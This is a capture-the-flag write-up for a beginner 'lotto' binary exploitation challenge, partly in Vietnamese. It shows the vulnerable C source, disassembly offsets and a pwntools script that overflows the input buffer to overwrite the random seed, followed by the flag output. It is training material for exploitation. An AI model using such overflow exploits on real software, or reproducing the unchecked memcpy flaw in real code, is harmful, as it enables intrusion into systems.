pwn - lotto

November 4, 2025 October 17, 2025 Easy
Author Author Hung Nguyen Tuong

Source Code

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/random.h>
#include <unistd.h>
#pragma pack(1)
#define WELCOMEMESSEGE                                                         \\
  "    .____           __    __          \\n"                                   \\
  "    |    |    _____/  |__/  |_  ____  \\n"  \\ 
 "    |    |   /  _ \\\\   __\\\\   __\\\\/    \\\\ \\n"                                \\
 "    |    |__(  <_> )  |  |  | (  <_> )\\n"                                    \\
 "    |_______ \\\\____/|__|  |__|  \\\\____/ \\n"                                  \\
 "            \\\\/                        \\n"                                   \\
 "    Enter 6 numbers in range 1 to 49   \\n"

#define FAILMESSEGE "    Better luck next time ;)  \\n"
#define CORRECTNUMBERSMESSEGE "    Number of correct guesses: "

unsigned userLookup[49] = {};
unsigned winingLookup[49] = {};
unsigned winingNumbers[6] = {};
typedef struct {
  unsigned int correctNumbers;
  char userInput[32];
  char welcomeMessegeBuffer[sizeof(WELCOMEMESSEGE)];
  unsigned int seed;
  char failMessegeBuffer[sizeof(FAILMESSEGE)];
  char correctNumbersMessegeBuffer[sizeof(CORRECTNUMBERSMESSEGE)];

} lottoData;
int main() {
  lottoData lotto = {};
  unsigned userNumbers[6] = {};
  lotto.seed = 0;
  getrandom(&lotto.seed, sizeof(lotto.seed), 0);
  memcpy(lotto.welcomeMessegeBuffer, WELCOMEMESSEGE, sizeof(WELCOMEMESSEGE));
  memcpy(lotto.failMessegeBuffer, FAILMESSEGE, sizeof(FAILMESSEGE));
  memcpy(lotto.correctNumbersMessegeBuffer, CORRECTNUMBERSMESSEGE,
         sizeof(CORRECTNUMBERSMESSEGE));
  setbuf(stdout, NULL);
  printf("%s\\n    ", lotto.welcomeMessegeBuffer);
  char input[sizeof(lottoData)] = {};
  fgets(input, sizeof(lottoData), stdin);
  memcpy(lotto.userInput, input, strlen(input));
  srand(lotto.seed);
  sscanf(lotto.userInput, "%u %u %u %u %u %u", &userNumbers[0], &userNumbers[1],
         &userNumbers[2], &userNumbers[3], &userNumbers[4], &userNumbers[5]);
  for (int i = 0; i < 6; ++i) {
    winingNumbers[i] = rand() % 49 + 1;
  }
  for (int i = 0; i < 6; ++i) {
    userLookup[userNumbers[i]]++;
    winingLookup[winingNumbers[i]]++;
  }
  for (int i = 0; i < 49; ++i) {
    if (userLookup[i] > 0 && winingLookup[i] > 0) {
      lotto.correctNumbers += MIN(userLookup[i], winingLookup[i]);
    }
  }

  if (lotto.correctNumbers == 6) {
    system("cat flag");

  } else {
    printf("%s%u\\n", lotto.correctNumbersMessegeBuffer, lotto.correctNumbers);
    printf("%s\\n", lotto.failMessegeBuffer);
  }
}

Mitigation

Solve

Ý tưởng đó là ghi đè seed để luôn random ra cùng 6 số.

Chúng ta so sánh code C và disassembly:

   0x00005555555553c9 <+480>:   mov    rdx,rax
   0x00005555555553cc <+483>:   lea    rax,[rbp-0x190]
   0x00005555555553d3 <+490>:   lea    rcx,[rbp-0x310]
   0x00005555555553da <+497>:   add    rcx,0x4
   0x00005555555553de <+501>:   mov    rsi,rax
   0x00005555555553e1 <+504>:   mov    rdi,rcx
   0x00005555555553e4 <+507>:   call   0x5555555550b0 <memcpy@plt>
   0x00005555555553e9 <+512>:   mov    eax,DWORD PTR [rbp-0x1d9]
   0x00005555555553ef <+518>:   mov    edi,eax
   0x00005555555553f1 <+520>:   call   0x555555555090 <srand@plt>
memcpy(lotto.userInput, input, strlen(input));
srand(lotto.seed);

lotto.userInput nằm tại rbp-0x310lotto.seed nằm tại rbp-0x1d9, chúng cách nhau 0x137 bytes. Vậy chúng ta cần ghi tổng 0x137 bytes kết thúc bằng AAAA để ghi đè seed thành 0x41414141.

Script

from pwn import *
import ctypes

p = process('./lotto.bin')

libc = ctypes.CDLL('./libc.so.6')
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int

libc.srand(0x41414141)

payload = b''
for i in range(6):
    payload += str(libc.rand() % 49 + 1).encode() + b' '

payload = payload.ljust(311, b'A')

p.sendline(payload)

print(p.recvall(timeout=2))
┌──(kali㉿kali)-[~/Desktop/BtS-2025-Writeups/pwn/lotto/challenge]
└─$ py solve.py                                                                                                                                                                              
[+] Starting local process './lotto.bin': pid 433180
[+] Receiving all data: Done (306B)
[*] Process './lotto.bin' stopped with exit code 0 (pid 433180)
b'    .____           __    __          \\n    |    |    _____/  |__/  |_  ____  \\n    |    |   /  _ \\\\   __\\\\   __\\\\/    \\\\ \\n    |    |__(  <_> )  |  |  | (  <_> )\\n    |_______ \\\\____/|__|  |__|  \\\\____/ \\n            \\\\/                        \\n    Enter 6 numbers in range 1 to 49   \\n\\n    BtSCTF{m4k3_y0ur_0wn_1uck}\\n'